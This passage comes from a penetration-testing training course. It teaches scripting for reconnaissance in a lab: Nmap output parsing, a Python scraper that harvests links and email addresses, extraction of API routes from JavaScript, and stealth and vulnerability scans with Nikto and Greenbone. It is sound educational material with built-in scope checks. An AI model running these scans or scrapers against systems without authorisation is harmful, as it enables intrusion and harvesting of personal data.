The other two languages differ in one way worth remembering. In Python, 7 / 2 is 3.5, 7 // 2 is 3 and 2 ** 8 is 256. In PowerShell, 7 / 2 is also 3.5, 7 % 2 is 1, and powers come from [math]::Pow(2, 8).
Data manipulation: grep, awk, cut and sort on a saved scan
So far the scripts gather information: they touch the network. Data manipulation, the objective's other half, touches nothing, and it pays back fastest. Scanning again to answer a new question is slow and noisy, so ask the file you already have. Here is a small scan in Nmap's grepable format, with fictional hosts on your lab's range. Nmap's documentation calls the format deprecated, and it survives because it suits these tools.
# Nmap scan as: nmap -sS -p 22,445,3389 -oG sample.gnmap 192.168.56.0/24
Host: 192.168.56.101 () Status: Up
Host: 192.168.56.101 () Ports: 22/open/tcp//ssh///, 445/closed/tcp//microsoft-ds///, 3389/closed/tcp//ms-wbt-server///
Host: 192.168.56.102 () Status: Up
Host: 192.168.56.102 () Ports: 22/open/tcp//ssh///, 445/open/tcp//microsoft-ds///, 3389/closed/tcp//ms-wbt-server///
Host: 192.168.56.103 () Status: Up
Host: 192.168.56.103 () Ports: 22/closed/tcp//ssh///, 445/filtered/tcp//microsoft-ds///, 3389/open/tcp//ms-wbt-server///
Three questions, three pipelines. Each | feeds one tool's output into the next tool's input.
$ grep "445/open" sample.gnmap | awk '{print $2}'
192.168.56.102
$ grep -c "22/open" sample.gnmap
2
$ grep -o '[0-9]*/open/tcp//[^/]*' sample.gnmap | cut -d/ -f1,5 | sort | uniq -c | sort -rn
2 22/ssh
1 445/microsoft-ds
1 3389/ms-wbt-server
Read the last one piece by piece. grep -o prints only the matching text, one open port per line. cut -d/ -f1,5 splits each line on slashes and keeps fields 1 and 5, the port and the service. sort | uniq -c groups identical lines and counts them, because uniq only spots neighbors. sort -rn puts the biggest count first. Now you know which services dominate, without another packet.
Two traps catch people here. The first is matching too loosely. A UDP scan prints states such as 53/open|filtered/udp, and you learned in Lesson 7 that open|filtered is not open, yet grep open matches it. Search for /open/, slashes included. The second is the difference between >, which overwrites a file, and >>, which appends. Inside a loop, a single > leaves you with only the last result. To save results as comma-separated values (CSV), the plain text format every spreadsheet reads, write the header once and append after it:
echo "host,port" > open.csv
grep "445/open" sample.gnmap | awk '{print $2 ",445"}' >> open.csv

XcepticZP (new layout), User:TuukkaH (original diagram) - Public domain - Wikimedia Commons
Python: the HTML scraper promised in Lesson 6
HTML scraping, or web scraping, means fetching a page and pulling out what you need: links, names, addresses. Lesson 6 said you would modify a scraper, and here is the starting point. It uses only Python's standard library, the modules that ship with the language, so it runs with your NAT adapter unplugged. Save it as links.py:
#!/usr/bin/env python3
"""links.py: list the links on one page of the lab's web server."""
import urllib.request
from html.parser import HTMLParser
SCHEME = "http"
HOST = "192.168.56.102"
PATH = "/"
class LinkParser(HTMLParser):
"""Collect the href of every anchor tag it is fed."""
def __init__(self):
super().__init__()
self.links = []
def handle_starttag(self, tag, attrs):
if tag == "a":
for name, value in attrs:
if name == "href":
self.links.append(value)
def fetch(url):
"""Return the text of one web page."""
with urllib.request.urlopen(url, timeout=5) as reply:
return reply.read().decode("utf-8", errors="replace")
parser = LinkParser()
parser.feed(fetch(f"{SCHEME}://{HOST}{PATH}"))
for link in parser.links:
print(link)
$ python3 links.py
/twiki/
/phpMyAdmin/
/mutillidae/
/dvwa/
/dav/
Four things in it are named on the exam, and it helps to see why each is there.
| Construct | Where | Why it is used |
|---|---|---|
| Library | import urllib.request, from html.parser import HTMLParser | Someone has already solved HTTP and messy HTML. Importing is almost always better than writing your own |
| Class | class LinkParser(HTMLParser) | A class bundles data with behavior. This one inherits all of HTMLParser's parsing and overrides one method, and self.links holds its memory between calls |
| Function | def fetch(url) | A named, reusable block with an input and an output. Every later page fetch reuses it |
| Loop and conditional | for name, value in attrs, if tag == "a" | The parser calls handle_starttag once per tag, passing the tag's lowercase name and a list of name and value pairs. The code keeps only the pair it wants |
Python marks blocks with a colon and indentation, where Bash uses words like do and fi and PowerShell uses braces. A line indented wrongly is a logic error, not only a style problem. The f"..." string fills in the braces, which is why the scheme and host are separate variables you can change.

Html-source-code3.png : Reisio derivative work: Rehua ( talk ) - Public domain - Wikimedia Commons

Zhanjack822 - CC0 - Wikimedia Commons
Modifying the scraper: arguments, scope, absolute links and email addresses
Four small changes turn that into something you could use on a job. Each one is the kind of change this objective is about.
| Goal | Change | Construct |
|---|---|---|
| Choose the target at run time | Read sys.argv[1] | Library, string operation (.split(":")) |
| Refuse anything out of scope | A new in_scope function using the ipaddress library | Function, Boolean, exception handling |
| Print each page once, on this host only | set, sorted, urljoin, urlsplit | Library, conditional |
| Pull out email addresses | A regular expression from the re library, plus .replace | Library, string operators |
The class and fetch stay exactly as they were. Change the top of the file and replace the last four lines. This is now scrape.py:
#!/usr/bin/env python3
"""scrape.py TARGET: links and email addresses from one in-scope page."""
import ipaddress
import re
import sys
import urllib.request
from html.parser import HTMLParser
from urllib.parse import urljoin, urlsplit
SCHEME = "http"
SCOPE = [ipaddress.ip_network("192.168.56.0/24"),
ipaddress.ip_network("127.0.0.1/32")]
EMAIL = re.compile(r"[\w.+-]+@[\w-]+\.[\w.-]+")
# ... class LinkParser and def fetch, unchanged ...
def in_scope(host):
"""True only if host is an IP address inside SCOPE."""
try:
address = ipaddress.ip_address(host)
except ValueError:
return False
return any(address in network for network in SCOPE)
def find_emails(text):
"""Return each address once, including ones written with [at]."""
tidy = text.replace(" [at] ", "@").replace("[at]", "@")
return sorted(set(EMAIL.findall(tidy)))
if len(sys.argv) != 2:
sys.exit("usage: scrape.py HOST[:PORT]")
target = sys.argv[1]
host = target.split(":")[0]
if not in_scope(host):
sys.exit(f"REFUSED {host}: outside scope")
base = f"{SCHEME}://{target}/"
page = fetch(base)
parser = LinkParser()
parser.feed(page)
for link in sorted(set(parser.links)):
full = urljoin(base, link)
if urlsplit(full).hostname == host:
print("link", urlsplit(full).path)
for address in find_emails(page):
print("email", address)
To test the email part you need a page with addresses on it, so build one and serve it on loopback only. Save this fictional page as team/index.html, then run python3 -m http.server 8000 --bind 127.0.0.1 --directory team in a second terminal.
<html><body>
<h1>Our team (fictional)</h1>
<p>Jane Doe, finance: jane.doe@example.com</p>
<p>Sam Lee, IT: sam.lee [at] example.com</p>
<a href="/careers/">Careers</a> <a href="/careers/">Jobs</a>
<a href="https://www.example.net/partner">Our partner</a>
</body></html>
$ python3 scrape.py 127.0.0.1:8000
link /careers/
email jane.doe@example.com
email sam.lee@example.com
$ python3 scrape.py 203.0.113.9
REFUSED 203.0.113.9: outside scope
Look at what each change did. The two links to /careers/ became one, because set keeps one of each. The partner link vanished, because its hostname differs from the target's: a crawler built on this will not wander off into someone else's domain.
Sam's address was found only because .replace tidied the disguised form first; the regular expression alone misses it, and people write addresses that way to dodge scrapers like yours. And in_scope turns a bad argument into a refusal, while try and except turn a hostname, which ip_address cannot parse, into False rather than a crash. Failing closed is the right default for a scope check.
Your requests leave a mark, too. By default urllib announces itself in the User-Agent header as Python-urllib plus a version number, so a defender reading the web log can see exactly what ran. On an engagement, the ROE may ask you to set a header that names the test, so analysts can attribute your traffic quickly.
The point: modification is usually small. Four changes, none longer than a few lines, gave this script arguments, scope, deduplication and a new kind of output, and its structure stayed the same.
One changed input: Juice Shop returns nothing
Point the same script at your other web target, with no code changed:
$ python3 scrape.py 127.0.0.1:3000
$
No links and no error. In a browser, that same address shows a full shop with menus and products. Count the anchor tags in what the server actually sends:
$ curl -s 127.0.0.1:3000/ | grep -c '<a '
0
Juice Shop is a single-page application, and the HTML it sends is nearly empty. Its source has one element in the body, app-root, and JavaScript fills that in after the page loads. urlopen fetches the HTML and stops. It does not run JavaScript, so the scraper was truthful: there are no anchor tags in what it read. A wrong conclusion here would be "this site has no pages". This is Lesson 8's lesson in another form: the tool answered the question it was asked.
The links live in the script files, so change what the parser collects and go read those files. A few lines in the class change, and a few more go at the end:
# in handle_starttag: collect script files as well as anchors
def handle_starttag(self, tag, attrs):
wanted = {"a": "href", "script": "src"}
if tag in wanted:
for name, value in attrs:
if name == wanted[tag]:
self.links.append(value)
# at the end of the file: read each script and list its API routes
ROUTE = re.compile(r"/(?:rest|api)/[\w/-]+")
for link in sorted(set(parser.links)):
if link.endswith(".js"):
script = fetch(urljoin(base, link))
for route in sorted(set(ROUTE.findall(script))):
print("route", route)
Expect something like the lines below; the exact file names and routes depend on your Juice Shop version. The project's front-end source calls routes such as these, so the bundle must contain them.
link /main.js
route /api/Users
route /rest/user/login
route /rest/user/reset-password
That is enumeration from reading, with no guessing and only a few requests. It shows why client-side code cannot hide a route, and so why every route needs its own check on the server.
Your other options, when a page really needs a browser, are ZAP's AJAX Spider from Lesson 8 or a browser automation library.
And when HTML is merely untidy, not empty, many testers prefer the third-party Beautiful Soup library, whose soup.find_all("a") replaces the whole class. It is not in the standard library, and Kali asks you to prefer its apt packages or pipx over plain pip, so check before you depend on it in an offline lab.

DanielSHaischt, via Wikimedia Commons - CC BY-SA 3.0 - Wikimedia Commons
Reading Nmap XML with a library
Lesson 7 told you that XML is the Nmap output format meant for programs. Now you can see why. A pipeline on grepable text depends on the columns staying where they are. A parser reads named fields. This script turns the lab-full.xml you saved in Lesson 7 into a CSV file:
#!/usr/bin/env python3
"""scan2csv.py FILE.xml: write open ports from an Nmap XML file to open.csv."""
import csv
import sys
import xml.etree.ElementTree as ET
rows = []
for host in ET.parse(sys.argv[1]).getroot().iter("host"):
address = host.find("address").get("addr")
for port in host.iter("port"):
if port.find("state").get("state") == "open":
service = port.find("service")
name = service.get("name") if service is not None else ""
rows.append([address, port.get("portid"), name])
with open("open.csv", "w", newline="") as out:
writer = csv.writer(out)
writer.writerow(["host", "port", "service"])
writer.writerows(rows)
print(f"{len(rows)} open ports written to open.csv")
$ python3 scan2csv.py lab-full.xml
30 open ports written to open.csv
$ head -3 open.csv
host,port,service
192.168.56.102,21,ftp
192.168.56.102,22,ssh
Your count may differ. Notice the comparison == "open": because state is a separate field, open|filtered cannot sneak in, which is the trap from the grepable pipeline solved by structure. csv.writer handles quoting, so a service name containing a comma would not break a row, as it would with echo. Reach for string splitting when the job is one line and the format is fixed. Reach for a library when you will rerun the script or hand it to someone else.
Python's idea of truth catches people in one specific way. You want rows for two ports, so you write this:
for port in ["22", "445", "3389"]:
if port == "445" or "3389":
print("match", port)
It prints all three. or joins two whole conditions, and the second one is just the string "3389", and a non-empty string counts as true, so the test always passes. Write port == "445" or port == "3389", or better, port in ("445", "3389").

Belbury - CC BY-SA 4.0 - Wikimedia Commons
PowerShell: seven lines that print nothing and leave a file behind
Some clients' jump boxes offer PowerShell and nothing else, so you need to read it. Start pwsh and put this fictional export in scan.csv, one of its rows a stray address:
host,port,state,service
192.168.56.101,22,open,ssh
192.168.56.101,445,closed,microsoft-ds
192.168.56.102,445,open,microsoft-ds
192.168.56.102,3389,closed,ms-wbt-server
192.168.56.103,445,filtered,microsoft-ds
192.168.56.103,3389,open,ms-wbt-server
203.0.113.9,8080,open,http-proxy
A colleague who mostly writes Bash and Python wrote this report.ps1 to list open ports above 1024. It prints nothing and raises no error.
$rows = Import-Csv ./scan.csv
foreach ($row in $rows) {
$target = $row.host
if ($row.state = 'open' -and $row.port > 1024) {
Write-Output "$target has $row.service open"
}
}
Afterward, ls shows a new file named 1024 containing the word True. Three habits from other languages each do something quietly different here.
| What was written | What PowerShell does | What it should be |
|---|---|---|
$row.state = 'open' | = assigns. It changes the value in memory and tests nothing | $row.state -eq 'open' |
$row.port > 1024 | > is redirection, so it writes to a file called 1024 | $row.port -gt 1024 |
"$row.service" | The string expands $row, the whole object, then adds the literal text .service | "$($row.service)" |
PowerShell's comparison operators are words with a hyphen: -eq -ne -gt -lt -ge -le, then -like for wildcards, -match for regular expressions, and -and -or -not for Boolean logic. String comparisons ignore case unless you add a c, as in -ceq. A == is not an operator at all; it produces a confusing error saying the term '=' is not recognized. Fix the three problems and run again.
foreach ($row in $rows) {
if ($row.state -eq 'open' -and $row.port -gt 1024) {
Write-Output "$($row.host) has $($row.service) open on $($row.port)"
}
}
192.168.56.101 has ssh open on 22
192.168.56.102 has microsoft-ds open on 445
192.168.56.103 has ms-wbt-server open on 3389
203.0.113.9 has http-proxy open on 8080
It runs now, and it is still wrong: 22 and 445 are not above 1024. Everything Import-Csv reads is a string. Microsoft's documentation explains that the right side of a comparison is converted to the type of the left side, so this compares text, and as text "445" sorts after "1024". Change one thing, cast the field to a number with [int]$row.port -gt 1024, and the result flips to the two correct rows. The last job is the scope, with the same pattern idea as Bash:
Import-Csv ./scan.csv |
Where-Object { $_.state -eq 'open' -and [int]$_.port -gt 1024 -and $_.host -like '192.168.56.*' } |
Export-Csv ./open-high.csv -NoTypeInformation
This is PowerShell's real strength. Its pipeline carries objects with named properties, not text, so $_.port needs no cut or awk. Where-Object filters, Group-Object counts and Export-Csv writes the file. One more trap: do not name a variable $host, even though it is the obvious name. It is a built-in, and assigning to it fails with an error saying it cannot overwrite a read-only variable. That is why the script above says $target.
PowerShell has functions and classes too, and it reaches the whole .NET class library with square brackets. This pair checks a port and holds a result, and it runs from Kali's pwsh against your lab. Note how the function refuses before it connects.
function Test-LabPort {
param([string]$Target, [int]$Port)
if ($Target -notlike '192.168.56.*' -and $Target -ne '127.0.0.1') {
throw "REFUSED $($Target): outside scope"
}
$client = [System.Net.Sockets.TcpClient]::new()
try {
return $client.ConnectAsync($Target, $Port).Wait(1000)
} catch {
return $false
} finally {
$client.Dispose()
}
}
class Finding {
[string]$Target
[int]$Port
[string] ToCsvLine() { return "$($this.Target),$($this.Port),open" }
}
PS> Test-LabPort -Target 192.168.56.102 -Port 445
True
PS> Test-LabPort -Target 192.168.56.102 -Port 8888
False
For information gathering, recent PowerShell can replace much of the Python scraper in one line, since (Invoke-WebRequest -Uri 192.168.56.102).Links.href prints the same five links. Test-Connection has a -TcpPort option in PowerShell 7 as well. On Windows, Get-LocalUser and Get-SmbShare from Lesson 8 return objects you can pipe in the same way.
The point: most script bugs that survive a first run come from another language's habit. Before you trust the output, ask what = and > mean in this language, and whether that field is a number or text.

Microsoft Corporation - Public domain - Wikimedia Commons
The same idea in three languages
Here is the whole lesson in one table. Cover a column and try to rebuild it; that exercise is close to what a modify-this-script question asks.
| Construct | Bash | Python | PowerShell |
|---|---|---|---|
| Command-line argument | $1 | sys.argv[1] | $args[0] or param() |
| Loop over a file's lines | for h in $(cat f); do ...; done | for h in open("f"): | foreach ($h in Get-Content f) { } |
| Counting loop | for i in $(seq 1 254) | for i in range(1, 255): | foreach ($i in 1..254) { } |
| Conditional | if ...; then ...; elif ...; else ...; fi | if x: ... elif y: ... else: ... | if (x) { } elseif (y) { } else { } |
| Compare numbers | -eq -ne -lt -gt in [ ] | == != < > | -eq -ne -lt -gt |
| Compare strings | == != (patterns in [[ ]]), =~ | == != in, re.search | -eq -ne -like -match |
| Boolean operators | && || ! | and or not | -and -or -not |
| String operators | "$a$b", ${#s}, ${s%.*} | a + b, len(s), s.split("."), s.replace() | $a + $b, $s.Length, -split, -replace, -join |
| Arithmetic operators | $(( a + b )), integers only | + - * / // % ** | + - * / %, [math]::Pow() |
| What counts as true | Exit status 0 | Anything but 0, "", None and empty collections | Anything but 0, "", $null and empty collections |
| Function | name() { ...; } | def name(x): | function Name { param($X) } |
| Library | source file, outside commands | import x | Import-Module x, [Net.Dns]:: |
| Class | None | class X(Base): | class X { } |
| Save as CSV | echo "$a,$b" >> f.csv | csv.writer | Export-Csv |
What your scripts look like from the other side
A script is a tester's tool, and defenders see what it does as well as they see any other tool. This table uses the same columns as Lesson 8's family table.
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Connection loop | Reachable ports answer any client | nc in Bash, TcpClient in PowerShell, Nmap | One source making full TCP connections to one port across many hosts, in file order | Segmentation, allow lists and host firewalls |
| HTML scraping | Pages publish names, addresses and links | urllib and html.parser, Beautiful Soup, Invoke-WebRequest | A burst of requests with a Python-urllib or PowerShell User-Agent | Publish less, put staff directories behind a login, rate limit |
| Route extraction from JavaScript | Client-side code has to name its API routes | Python with a regular expression, a browser's developer tools | Requests for static files, which look unremarkable | Check authorization on every route on the server |
| Parsing saved results | None on the target; this is offline | grep, awk, Python, PowerShell | Nothing | Fix the findings the data reveals |
What the exam asks, and the pairs people confuse
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Do this for every host in a file | A loop: for, foreach | A conditional, which chooses once |
| Only when a condition holds, or skip otherwise | A conditional: if, continue | A loop |
| Both must be true, or either may be | Boolean: && and -and, || or -or | | and & in Bash, which pipe and background |
| The script prints nothing though the port is open | It tests output, and the tool reports by exit status | A firewall problem |
| Only the last host is in the results file | > overwrote; use >> | A loop that ran once |
| Every row matches the filter | Python's or "3389", or a PowerShell text comparison | A broken data file |
| A count, a percentage, or hosts in a subnet | Arithmetic: $(( )), **, % | String joining, where "$a$b" gives 12 from 1 and 2 |
| Remove the last octet, or match a pattern | String operators: ${ip%.*}, .split, -like | Arithmetic operators |
| Wildcards versus patterns in PowerShell | -like takes wildcards | -match, which takes regular expressions |
| Assign versus compare | = assigns in Python and PowerShell | == in Python, -eq in PowerShell |
| Reuse a block with different inputs | A function | A class, which also bundles data |
| Parse HTML, make requests, test address ranges | A library: html.parser, urllib, ipaddress | Writing your own parser |
| A scraper finds nothing on a page full of menus | JavaScript builds the page; read the scripts or use a browser | A page with no content |
How scripted results are reported
A script's output is not evidence until someone else can reproduce it. The first script in this lesson would have produced a clean-looking false negative: no SMB anywhere. So four things go in the evidence file with any scripted result:
- the script with its SHA-256 hash from
sha256sum - the exact command line with date and source address
- the raw input such as
scan.xml - a note of which results you checked by hand
Lesson 12 makes that manual check a formal validation step. Here is how a scripted result reads as a finding, for a fictional client.
- Title: Telnet reachable from the staff network on 3 of 62 in-scope hosts.
- Severity: High. Telnet sends logins in cleartext, so anyone on the same network can read them, and these three hosts run the client's order system. It is not Critical because an attacker needs a foothold on the staff network first.
- Evidence:
scan.xmlandopen.csvproduced byscan2csv.py(hash in the evidence log), with date and source address; banners confirmed by hand on all three hosts. In-scope range 203.0.113.0/26 only; no logins attempted. - Root cause: Telnet is enabled in the build template for these servers, and no firewall rule separates them from staff workstations.
- Remediation: disable Telnet in the template and on the three hosts, use SSH, and restrict management ports to an administrative network. The client can rerun the attached script against a new scan to confirm the fix.
Attaching the script is a kindness to the client and a discipline for you. If it has a bug, a reviewer can find it, and if it has none, the client's team gains a check they can run every month. State limits too: "the scan covered TCP only; port states of filtered are listed as unknowns."
Common misconceptions
- "In Bash, zero means false." An exit status of zero means success, and
iftreats success as true. Python and PowerShell treat the number 0 as false. - "A script that prints nothing found nothing." It may be testing the wrong thing, as with a tool that reports by exit status. Run the command by hand to find out.
- "A scraper sees what a browser sees." It sees the HTML the server sent. A single-page application builds its links with JavaScript afterward.
- "Numbers in a CSV file are numbers." Import-Csv gives you strings, so -gt compares text until you cast the field with [int].
- "You must write scripts from scratch for this objective." The objective's verb is modify. Reading a script and choosing the line to change is the practiced skill.
Looking back
Every script in this lesson answered four questions: what goes in, what repeats, what decides and what comes out. Ask them first, in any language. Then check the details that differ.
nc -zreports through its exit status and prints nothing, and Bash'sifbranches on exit status, where zero means success.- Bash loops read
for ... do ... donewithif ... then ... fi; Python uses a colon and indentation; PowerShell usesforeachand braces. - Boolean operators are
&& || !in Bash,and or notin Python and-and -or -notin PowerShell; Python'sport == "445" or "3389"is always true. - String tools include
[[ == ]]patterns and${ip%.*}in Bash,split,replaceandinin Python, and-like(wildcards) and-match(regular expressions) in PowerShell.grep openalso matches open|filtered, so search for/open/. - Bash arithmetic uses
$(( ))and integers only, so multiply before dividing: 1 * 100 / 3 is 33, and 1 / 3 * 100 is 0. Python's/gives 3.5 for 7 / 2, and//gives 3. - Libraries save work (
html.parser,urllib,ipaddress,re,csv,xml.etree.ElementTree), functions reuse a block, and a class bundles data with behavior, as whenLinkParserinherits fromHTMLParser. - Changing one input, the URL, took a scraper from five links on Metasploitable to none on Juice Shop, because a single-page application builds its links with JavaScript. Reading its script files found the routes.
- In PowerShell,
=assigns,>redirects to a file, comparisons are-eqand-gt, CSV fields are strings until cast with[int], and$hostis taken. - Every script you keep starts with a scope check that fails closed, and every scripted result is reported with the script's hash, the command, the raw input and a note of what was checked by hand.
Sources
- CompTIA. (2024). CompTIA PenTest+ PT0-003 V3 certification exam: Exam objectives (Version 5.0), objective 2.3. comptia.org file host (PDF)
- Free Software Foundation. (n.d.). bash(1): Compound commands, Arithmetic evaluation, Conditional expressions, Parameter expansion, Exit status. man7.org. OffSec. (n.d.). netcat (nc.traditional help text) and powershell. Kali Linux tools. netcat; powershell
- Python Software Foundation. (n.d.). The Python standard library: html.parser; urllib.request; urllib.parse; ipaddress; re; csv; xml.etree.ElementTree
- Microsoft. (n.d.). PowerShell documentation: about_Comparison_Operators; about_Logical_Operators; about_Arithmetic_Operators; about_Automatic_Variables; about_Functions; about_Classes; Import-Csv; Invoke-WebRequest; Test-Connection
- Lyon, G. (n.d.). Grepable output (-oG) and Output. In Nmap network scanning and Nmap reference guide. grepable output; output. Shafranovich, Y. (2005). Common format and MIME type for comma-separated values (CSV) files (RFC 4180). rfc-editor.org
- Kimminich, B., and contributors. (n.d.). OWASP Juice Shop source: frontend/src/index.html, frontend/angular.json and frontend/src/app/Services/user.service.ts. github.com. Richardson, L. (n.d.). Beautiful Soup documentation. crummy.com. OffSec. (n.d.). Installing Python applications via pipx. kali.org
- Key terms
- Exit status
- The number a program returns when it ends; in Bash, zero means success and anything else means failure, and $? holds the last one.
- Command-line interface
- A way to run programs by typing commands, abbreviated CLI; a script's command-line arguments let it be reused without editing.
- Comma-separated values
- A plain text table format, abbreviated CSV, with one row per line and fields divided by commas, which spreadsheets and scripts both read.
- Web scraping
- Fetching web pages with a program and extracting data from them, such as links, names or email addresses; also called HTML scraping.
- Regular expression
- A compact pattern language for matching text, such as a pattern that finds anything shaped like an email address.
- Standard library
- The modules that ship with a programming language, usable with no extra installation, such as Python's html.parser and ipaddress.
- Boolean expression
- A condition that is either true or false, built with operators such as and, or and not.
- Single-page application
- A web application that sends nearly empty HTML and builds its pages in the browser with JavaScript, so a plain scraper finds almost nothing.
- Scope check
- A test at the start of a script that refuses any target outside the authorized range and treats anything it cannot parse as out of scope.
Module 4: Vulnerability Discovery and Analysis (Domain 3, objectives 3.1-3.3)
Run and read the scanners that find weaknesses: network, host, authenticated, industrial, application, container, code and secrets scans. Then separate true findings from false positives and blind spots, choose public exploits with care, and test the physical security that guards all of it.
Before the First Finding: Network, Host, Authenticated, and ICS Vulnerability Scans
- Plan network, host-based, authenticated and unauthenticated vulnerability scans, and say what each can and cannot see.
- Choose among Nikto, Greenbone/OpenVAS, Tenable Nessus, BloodHound and PowerSploit, and read the output each produces.
- Explain why a banner match, a package check and a live test deserve different trust, using BIND 9.4.2 as the worked case.
- Assess an industrial control system without active scanning, through manual assessment and port mirroring, and report what you find.
A ping sweep and a nine-foot robotic arm
A ping sweep was crossing a live SCADA network, the supervisory control and data acquisition kind that moves physical equipment, when one of its 9-foot robotic arms left standby and swung around 180 degrees. The person in the room happened to be out of reach. The same 2005 Sandia National Laboratories report describes two more incidents. A second ping sweep, run only to take inventory, hung a chip plant's control system and destroyed $50,000 worth of wafers. A test of a gas utility's corporate network wandered into its SCADA system and stopped gas moving through the pipelines for four hours.
A scan is an action, not a look. Before the first finding exists you decide what the scan may touch, what it must include, and how far you will believe what it says. This lesson walks those decisions on your own target in the order a tester works. Then it changes one input, credentials, and watches the results flip. Then it changes a bigger one, a plant instead of a server, and most of the procedure has to be replaced.
Exam objectives: 3.1 (network scans, TCP/UDP and stealth; host-based scans; authenticated versus unauthenticated scans; industrial control system vulnerability assessment, manual assessment and port mirroring; Nikto, Greenbone/OpenVAS, Tenable Nessus, BloodHound and PowerSploit). Lesson 11 covers the application, container and secrets scans from the same objective, and Lesson 20 the wireless ones.

Auledas - CC BY-SA 4.0 - Wikimedia Commons
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command here names your host-only target, 192.168.56.102, or Kali itself. A vulnerability scanner sends far more traffic than a port scan, and stranger traffic, so on a client network it must be named in the signed scope and run inside the testing window. Tell the client's security operations center (SOC) your source address too, unless the rules of engagement say the test is meant to surprise them.
Set up once with Kali's NAT adapter attached, because the packages and the vulnerability feed come from the internet: sudo apt install nikto gvm lynis, then sudo gvm-setup, which can take a long time. sudo gvm-check-setup reports anything missing. Greenbone's container documentation asks for at least 2 CPU cores, 4 GB of RAM and 20 GB of disk, so your Kali VM may need more. Then detach the NAT adapter, snapshot Metasploitable and run sudo gvm-start. The web interface is at 127.0.0.1:9392 over HTTPS.
What a vulnerability scanner can actually know
Nmap tells you what is listening. A vulnerability scanner goes on to ask whether what is listening has a known flaw. NIST SP 800-115 lists the job as identifying hosts and open ports, identifying known vulnerabilities and often advising on fixes, and warns in the same breath that these tools have high false positive rates. The reason lies in how a scanner knows anything. There are only three ways.
- It reads a claim. The service announces a version and the scanner compares that with advisories. This is fast, remote and easily wrong.
- It reads the machine. It logs in and lists installed packages or registry entries. This is reliable, and it needs credentials.
- It tests behavior. It sends a probe whose reply shows the flaw. This is strong evidence, and it touches the service the most.
Greenbone, the scanner you will use, puts a number on this, called Quality of Detection (QoD).
| QoD | Type | How the scanner knows |
|---|---|---|
| 100% | exploit | Verified by an exploit |
| 99% | remote_vul | Active check whose reply clearly shows the flaw |
| 97% | package, registry | Logged in and read the package list or Windows registry |
| 80% | remote_banner | Banner from a product that shows its patch level |
| 70% | remote_analysis | Remote check with some analysis; not always reliable |
| 30% | remote_banner_unreliable | Banner from a product that hides its patch level, common in open source because of back-ported fixes |
By default Greenbone displays only results at 70 percent or above, so a 30 percent result is not wrong, just hidden. "Not in the default view" never means "not found".
So what?: severity says how bad a flaw would be; QoD says how sure the scanner is that you have it. Read both.
Network scans: TCP, UDP and what stealth buys
Lesson 7 taught the flags and port states, so reuse that evidence: sudo nmap -sS -p- -T4 192.168.56.102 -oA lab-full and sudo nmap -sU --top-ports 20 192.168.56.102 -oA lab-udp.
The new question is what the vulnerability scanner does on its own, and the answer is a trap: neither big scanner covers UDP in its defaults. Greenbone's manual warns that its default port list has no UDP port, so port 161 is ignored and no SNMP check runs. The Nessus Advanced Scan template covers about 4,790 common ports with its SYN scanner on and its UDP scanner off.
A report that is silent on SNMP may therefore be a configuration fault, not a clean result. Hand the scanner a port list built from your Nmap results.
The exam's "stealth scans" trade thoroughness for fewer traces.
| Scan | What it relies on | What defenders see |
|---|---|---|
| TCP connect (-sT) | A full handshake through the operating system; no special privileges | Applications may log it; firewall logs |
| SYN, half-open (-sS) | A reset before the handshake completes; needs raw-packet privileges | Applications rarely log it; an intrusion detection system (IDS) sees it |
| UDP (-sU) | Closed ports answer with ICMP; open ones usually stay silent | Bursts of ICMP unreachable from the target |
| NULL, FIN, Xmas (-sN, -sF, -sX) | RFC 793: closed ports reset, open ones ignore; useless against Windows | Most modern IDS products can be set to detect them |
| Slow timing (-T0, -T1) | Too few probes per minute to trip a threshold; hours per host | Correlation over long time windows |
Stealth means less logged, not invisible. Nmap's documentation says system logs alone rarely catch a SYN scan, yet purpose-built detectors do. Some react: PortSentry, or an intrusion prevention system (IPS), can block your source address mid-run, after which every remaining host looks clean. Use stealth options when the rules of engagement ask whether the SOC would notice, and not otherwise, because quiet and thorough pull in opposite directions. A full vulnerability scan cannot be quiet at all.
Nikto: one web server, over 8,000 checks
Port 80 gets its own tool. Nikto is an open-source web server scanner that checks for over 8,000 potentially dangerous files and programs, outdated versions and misconfigurations. Kali carries version 2.6.1, released in July 2026. Point it at one port and leave out the denial-of-service tests (in x6, the x means everything except category 6):
nikto -h 192.168.56.102 -p 80 -Tuning x6 -o nikto-80.txt
Expect something like this, shortened from a published 2016 run of Nikto 2.1.6 against this image, with your address substituted. Newer versions drop the OSVDB numbers and word some lines differently.
- Nikto v2.1.6
+ Target IP: 192.168.56.102
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12).
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /doc/: Directory indexing found.
+ 8329 requests: 0 error(s) and 29 item(s) reported on remote host
Sort those lines by the three ways of knowing. Server and x-powered-by are claims, and "appears to be outdated" is arithmetic on a claim. The /doc/ line is an observation you can confirm by hand with curl -sI 192.168.56.102/doc/. The junk-methods line is Nikto warning about itself: a server that answers anything can fake a hit, so check the hits.
Choose Nikto for a quick look at the server layer: versions, default files, methods, headers. It does not understand the application's logic, which is what dynamic testing in Lesson 11 is for. It is also loud. A defender sees that 8,329-request run as thousands of 404s from one address within minutes, though not necessarily the word Nikto, since 2.6.1 sends a fixed Chrome User-Agent by default. The fixes are ordinary: patch, remove default content, disable TRACE, restrict admin paths.
Greenbone and OpenVAS: building the full scan
The exam writes Greenbone/OpenVAS because the name moved. OpenVAS was the community project's name. Greenbone now calls the free package Greenbone Community Edition. It keeps OpenVAS Scanner as the name of the engine that runs vulnerability tests (VTs, or NVTs in older reports) from a feed. It has also revived OPENVAS as a brand for its commercial products. Kali's package is gvm. The manager, gvmd, stores everything in a PostgreSQL database, and the Greenbone Security Assistant is the web interface. There the procedure is four objects, in order:
- Port list: the TCP ports from lab-full plus the UDP ports that matter, such as 53 and 161.
- Target: 192.168.56.102 with that list, and no credentials yet.
- Task: that target with the scan configuration Full and fast. Greenbone says this runs with
safe_checks=yes, which excludes tests that may cause a denial of service, though some tests are still invasive. - Report: when it finishes, lower the QoD filter to 0 percent before you read anything.
